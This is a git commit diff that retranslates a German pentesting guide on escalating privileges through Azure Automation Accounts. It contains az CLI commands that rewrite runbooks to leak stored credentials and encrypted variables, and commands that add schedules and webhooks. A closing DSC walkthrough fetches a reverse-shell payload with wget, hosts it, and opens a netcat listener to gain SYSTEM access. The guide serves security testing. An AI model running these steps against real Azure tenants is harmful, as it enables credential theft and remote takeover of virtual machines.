Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-21 20:58:45 +00:00
parent 21f07511f1
commit 50e7e7a285
@@ -12,29 +12,29 @@ Für weitere Informationen siehe:
### Hybrid Workers Group
- **Vom Automatisierungskonto zur VM**
- **Vom Automation Account zur VM**
Denke daran, dass ein Angreifer, wenn er irgendwie ein beliebiges Runbook (beliebiger Code) in einem hybriden Worker ausführen kann, **zum Standort der VM pivotieren wird**. Dies könnte eine lokale Maschine, ein VPC einer anderen Cloud oder sogar eine Azure-VM sein.
Denke daran, dass wenn ein Angreifer irgendwie einen beliebigen runbook (beliebigen Code) in einem hybrid worker ausführen kann, er **auf den Standort der VM pivotieren** wird. Das könnte eine on-premise Maschine, eine VPC einer anderen Cloud oder sogar eine Azure VM sein.
Darüber hinaus, wenn der hybride Worker in Azure mit anderen angehängten verwalteten Identitäten läuft, wird das Runbook in der Lage sein, auf die **verwaltete Identität des Runbooks und alle verwalteten Identitäten der VM über den Metadatenservice** zuzugreifen.
Außerdem, wenn der hybrid worker in Azure mit weiteren Managed Identities ausgeführt wird, kann das runbook auf die **managed identity des runbooks und alle managed identities der VM vom metadata service** zugreifen.
> [!TIP]
> Denke daran, dass der **Metadatenservice** eine andere URL hat (**`http://169.254.169.254`**) als der Dienst, von dem das Token der verwalteten Identitäten des Automatisierungskontos abgerufen wird (**`IDENTITY_ENDPOINT`**).
> Denke daran, dass der **metadata service** eine andere URL (**`http://169.254.169.254`**) hat als der Service, von dem man das Token für die Managed Identities des Automation Accounts erhält (**`IDENTITY_ENDPOINT`**).
- **Von der VM zum Automatisierungskonto**
- **Von der VM zum Automation Account**
Darüber hinaus, wenn jemand eine VM kompromittiert, auf der ein Skript des Automatisierungskontos läuft, wird er in der Lage sein, die **Metadaten des Automatisierungskontos** zu lokalisieren und von der VM aus darauf zuzugreifen, um Tokens für die **verwalteten Identitäten** zu erhalten, die dem Automatisierungskonto zugeordnet sind.
Wenn außerdem jemand eine VM kompromittiert, auf der ein Automation Account-Skript läuft, kann er die **Automation Account**-Metadaten finden und von der VM aus darauf zugreifen, um Tokens für die an den Automation Account angehängten **Managed Identities** zu erhalten.
Wie im folgenden Bild zu sehen ist, ist es mit Administratorzugriff auf die VM möglich, in den **Umgebungsvariablen des Prozesses** die URL und das Geheimnis zum Zugriff auf den Metadatenservice des Automatisierungskontos zu finden:
Wie im folgenden Bild zu sehen ist, ist es bei Administratorzugang auf die VM möglich, in den **Umgebungsvariablen des Prozesses** die URL und das Secret zu finden, um auf den Automation Account metadata service zuzugreifen:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
Zusammenfassend ermöglichen diese Berechtigungen das **Erstellen, Ändern und Ausführen von Runbooks** im Automatisierungskonto, die du verwenden könntest, um **Code** im Kontext des Automatisierungskontos auszuführen und Privilegien auf die zugewiesenen **verwalteten Identitäten** zu eskalieren sowie **Anmeldeinformationen** und **verschlüsselte Variablen** zu leaken, die im Automatisierungskonto gespeichert sind.
Zusammengefasst erlauben diese Berechtigungen, **Runbooks zu erstellen, zu verändern und auszuführen** im Automation Account, was du nutzen könntest, um **Code auszuführen** im Kontext des Automation Accounts, Privilegien auf die zugewiesenen **Managed Identities** zu eskalieren und **credentials** sowie **encrypted variables** im Automation Account zu leaken.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** ermöglicht es, den Code eines Runbooks im Automatisierungskonto zu ändern mit:
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** erlaubt es, den Code eines Runbooks im Automation Account zu modifizieren, indem man:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -47,16 +47,16 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
Beachten Sie, wie das vorherige Skript verwendet werden kann, um **den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variablen** zu leaken, die im Automation Account gespeichert ist.
Beachte, wie das vorherige Skript verwendet werden kann, um **leak den Benutzernamen und das Passwort** einer Anmeldeinformation sowie den Wert einer **verschlüsselten Variable** zu erhalten, die im Automation Account gespeichert sind.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** ermöglicht es dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden.
Die Berechtigung **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** erlaubt dem Benutzer, ein Runbook im Automation Account zu veröffentlichen, sodass die Änderungen angewendet werden:
```bash
az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>
```
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** ermöglicht es dem Benutzer, ein Runbook im Automatisierungskonto auszuführen mit:
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/write`** erlaubt dem Benutzer, ein Runbook im Automation Account mithilfe von:
```bash
az automation runbook start \
--automation-account-name <account-name> \
@@ -64,18 +64,18 @@ az automation runbook start \
--name <runbook-name> \
[--run-on <name-hybrid-group>]
```
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/output/read`** ermöglicht es dem Benutzer, die Ausgabe eines Jobs im Automatisierungskonto zu lesen mit:
Die Berechtigung **`Microsoft.Automation/automationAccounts/jobs/output/read`** erlaubt es dem Benutzer, die Ausgabe eines Jobs im Automation Account wie folgt zu lesen:
```bash
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Wenn keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die **Berechtigungen `Microsoft.Resources/subscriptions/resourcegroups/read` und `Microsoft.Automation/automationAccounts/runbooks/write`**, um dies zu tun mit:
Wenn noch keine Runbooks erstellt wurden oder Sie ein neues erstellen möchten, benötigen Sie die **Berechtigungen `Microsoft.Resources/subscriptions/resourcegroups/read` und `Microsoft.Automation/automationAccounts/runbooks/write`**, um dies mit folgendem zu tun:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Diese Berechtigung ermöglicht es dem Benutzer, **eine benutzerverwaltete Identität** dem Automatisierungskonto zuzuweisen mit:
Diese Berechtigung erlaubt es dem Benutzer, **eine user managed identity dem Automation Account zuzuweisen**, mithilfe von:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -91,9 +91,9 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/schedules/write`** ist es möglich, einen neuen Zeitplan im Automatisierungskonto zu erstellen, der alle 15 Minuten ausgeführt wird (nicht sehr stealth), indem der folgende Befehl verwendet wird.
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/schedules/write`** ist es möglich, einen neuen Schedule im Automation Account zu erstellen, der alle 15 Minuten ausgeführt wird (not very stealth) und mit dem folgenden Befehl angelegt wird.
Beachten Sie, dass das **minimale Intervall für einen Zeitplan 15 Minuten** beträgt und die **minimale Startzeit 5 Minuten** in der Zukunft liegt.
Beachte, dass das **Mindestintervall für einen Schedule 15 Minuten beträgt**, und die **minimale Startzeit mindestens 5 Minuten** in der Zukunft liegen muss.
```bash
## For linux
az automation schedule create \
@@ -115,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einen Scheduler einem Runbook zuzuweisen, indem man:
Dann ist es mit der Berechtigung **`Microsoft.Automation/automationAccounts/jobSchedules/write`** möglich, einem Runbook einen Scheduler zuzuweisen, indem man:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -134,22 +134,40 @@ az rest --method PUT \
}'
```
> [!TIP]
> Im vorherigen Beispiel wurde die Jobplan-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuweisung zu erstellen.
> Im vorherigen Beispiel wurde die Job-Schedule-ID als **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` als Beispiel** belassen, aber Sie müssen einen beliebigen Wert verwenden, um diese Zuordnung zu erstellen.
### `Microsoft.Automation/automationAccounts/webhooks/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/webhooks/write`** ist es möglich, einen neuen Webhook für ein Runbook innerhalb eines Automation-Kontos mit dem folgenden Befehl zu erstellen.
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/webhooks/write`** ist es möglich, einen neuen Webhook für ein Runbook in einem Automation Account zu erstellen, indem einer der folgenden Befehle verwendet wird.
With Azure Powershell:
```bash
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
```
Dieser Befehl sollte eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um dann das Runbook mit der Webhook-URI aufzurufen
Mit AzureCLI und REST:
```bash
az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'
```
Diese Befehle sollten eine Webhook-URI zurückgeben, die nur bei der Erstellung angezeigt wird. Um das Runbook anschließend mit der Webhook-URI aufzurufen
```bash
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"
```
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
Nur mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, **den Code eines Runbooks zu aktualisieren**, ohne es zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
Allein mit der Berechtigung `Microsoft.Automation/automationAccounts/runbooks/draft/write` ist es möglich, den Code eines Runbooks zu **aktualisieren**, ohne ihn zu veröffentlichen, und es mit den folgenden Befehlen auszuführen.
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -175,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
Diese Berechtigung ermöglicht es dem Benutzer, **eine Quellsteuerung** für das Automatisierungskonto zu konfigurieren, indem er Befehle wie die folgenden verwendet (dies verwendet Github als Beispiel):
Diese Berechtigung erlaubt dem Benutzer, **eine Source Control für das Automation Account zu konfigurieren**, mithilfe von Befehlen wie dem folgenden (dieses Beispiel verwendet Github):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -190,16 +208,16 @@ az automation source-control create \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>
```
Dies wird automatisch die Runbooks aus dem Github-Repository in das Automation-Konto importieren, und mit einigen anderen Berechtigungen, um sie auszuführen, wäre es **möglich, Privilegien zu eskalieren**.
Dies wird automatisch die runbooks aus dem Github-Repository in das Automation Account importieren und mit einigen zusätzlichen Berechtigungen zum Ausführen wäre es **possible to escalate privileges**.
Außerdem denken Sie daran, dass für die Quellkontrolle in Automation-Konten eine verwaltete Identität mit der Rolle **`Contributor`** erforderlich ist, und wenn es sich um eine benutzerverwaltete Identität handelt, muss die Client-ID der MI in der Variablen **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
Außerdem: Damit source control in Automation Accounts funktioniert, muss es eine managed identity mit der Rolle **`Contributor`** haben; wenn es sich um eine user managed identity handelt, muss die client id der MI in der Variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** angegeben werden.
> [!TIP]
> Beachten Sie, dass es nicht möglich ist, die Repo-URL einer Quellkontrolle zu ändern, sobald sie erstellt wurde.
> Beachte, dass es nicht möglich ist, die Repo-URL einer source control zu ändern, nachdem sie erstellt wurde.
### `Microsoft.Automation/automationAccounts/variables/write`
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation-Konto mit dem folgenden Befehl zu schreiben.
Mit der Berechtigung **`Microsoft.Automation/automationAccounts/variables/write`** ist es möglich, Variablen im Automation Account zu schreiben, indem man folgenden Befehl verwendet.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -215,51 +233,51 @@ az rest --method PUT \
```
### Benutzerdefinierte Laufzeitumgebungen
Wenn ein Automatisierungskonto eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **einer Hintertür**) zu überschreiben. Auf diese Weise wird der schädliche Code jedes Mal ausgeführt, wenn ein Runbook, das diese benutzerdefinierte Laufzeit verwendet, ausgeführt wird und das benutzerdefinierte Paket lädt.
Wenn ein Automation Account eine benutzerdefinierte Laufzeitumgebung verwendet, könnte es möglich sein, ein benutzerdefiniertes Paket der Laufzeit mit schädlichem Code (wie **a backdoor**) zu überschreiben. Auf diese Weise wird jedes Mal, wenn ein runbook, das diese benutzerdefinierte Laufzeit nutzt, ausgeführt wird und das benutzerdefinierte Paket lädt, der schädliche Code ausgeführt.
### Kompromittierung der Statuskonfiguration
### Kompromittierung der State Configuration
**Überprüfen Sie den vollständigen Beitrag unter:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Schritt 1 — Dateien erstellen
**Benötigte Dateien:** Zwei PowerShell-Skripte sind erforderlich:
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die die Nutzlast abruft und ausführt. Sie ist von [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1) erhältlich.
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf die VM zu veröffentlichen, verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Benötigte Dateien:** Es werden zwei PowerShell-Skripte benötigt:
1. `reverse_shell_config.ps1`: Eine Desired State Configuration (DSC)-Datei, die das payload abruft und ausführt. Erhältlich auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Ein Skript, um die Konfiguration auf der VM zu veröffentlichen. Verfügbar auf [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Benutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Nutzlast-Identifikatoren.
**Anpassung:** Variablen und Parameter in diesen Dateien müssen an die spezifische Umgebung des Nutzers angepasst werden, einschließlich Ressourcennamen, Dateipfaden und Server-/Payload-Identifikatoren.
- Schritt 2 — Konfigurationsdatei zippen
Die `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, um sie für die Übertragung zum Azure Storage Account vorzubereiten.
Die Datei `reverse_shell_config.ps1` wird in eine `.zip`-Datei komprimiert, sodass sie für die Übertragung in den Azure Storage Account bereit ist.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Schritt 3 — Speicher-Kontext festlegen & hochladen
- Schritt 3 — Storage-Kontext festlegen & Hochladen
Die gezippte Konfigurationsdatei wird in einen vordefinierten Azure Storage-Container, azure-pentest, mit dem Azure-Befehl Set-AzStorageBlobContent hochgeladen.
Die gezippte Konfigurationsdatei wird mit dem Azure-Cmdlet Set-AzStorageBlobContent in einen vordefinierten Azure Storage-Container (azure-pentest) hochgeladen.
```bash
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
- Schritt 4 — Kali Box vorbereiten
- Schritt 4 — Kali-Box vorbereiten
Der Kali-Server lädt die RevPS.ps1 Payload aus einem GitHub-Repository herunter.
Der Kali-Server lädt die RevPS.ps1 payload von einem GitHub-Repository herunter.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
Das Skript wird bearbeitet, um die Ziel-Windows-VM und den Port für die Reverse-Shell anzugeben.
Das Skript wird bearbeitet, um die Ziel-Windows VM und den Port für die reverse shell anzugeben.
- Schritt 5 — Konfigurationsdatei veröffentlichen
Die Konfigurationsdatei wird ausgeführt, was dazu führt, dass das Reverse-Shell-Skript an dem angegebenen Ort auf der Windows-VM bereitgestellt wird.
Die Konfigurationsdatei wird ausgeführt, wodurch das reverse-shell-Skript an dem angegebenen Ort auf der Windows VM bereitgestellt wird.
- Schritt 6 — Payload hosten und Listener einrichten
Ein Python SimpleHTTPServer wird gestartet, um die Payload zu hosten, zusammen mit einem Netcat-Listener, um eingehende Verbindungen zu erfassen.
Ein Python SimpleHTTPServer wird gestartet, um das payload zu hosten, zusammen mit einem Netcat listener, um eingehende Verbindungen abzufangen.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
Die geplante Aufgabe führt die Nutzlast aus und erreicht SYSTEM-Ebene Berechtigungen.
Der scheduled task führt die payload aus und erlangt SYSTEM-level privileges.
{{#include ../../../banners/hacktricks-training.md}}